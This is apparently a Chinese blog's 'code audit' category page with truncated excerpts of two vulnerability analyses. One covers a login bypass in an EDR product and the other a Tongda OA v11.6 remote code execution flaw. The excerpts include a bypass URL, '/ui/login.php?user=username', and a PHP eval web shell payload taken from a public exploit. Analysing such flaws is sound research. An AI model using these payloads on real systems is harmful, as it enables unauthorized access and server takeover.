![](https://img-blog.csdnimg.cn/20200820100353760.jpg?x-oss-process=image/resize,m_fixed,h_224,w_224)
代码审计
秃头之旅
「已注销」
人无名,便可专心练剑。
展开
-
某信服EDR任意用户登陆漏洞分析
影响范围: EDR <= v3.2.19漏洞描述: 终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。0x01 漏洞复现/ui/login.php?user=usernameusername 可能会有变动需要f...原创 2020-08-20 09:48:06 · 2201 阅读 · 0 评论 -
通达OA v11.6 RCE漏洞分析
hvv爆出rce按照网上exp进行复现成功获取shell,复现方式自行搜索(很多)比较好奇 为什么要删除文件这里从exp着手分析import requests target="http://192.168.159.137:8080/"payload="<?php eval($_POST['agan']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")原创 2020-08-19 17:32:30 · 1525 阅读 · 1 评论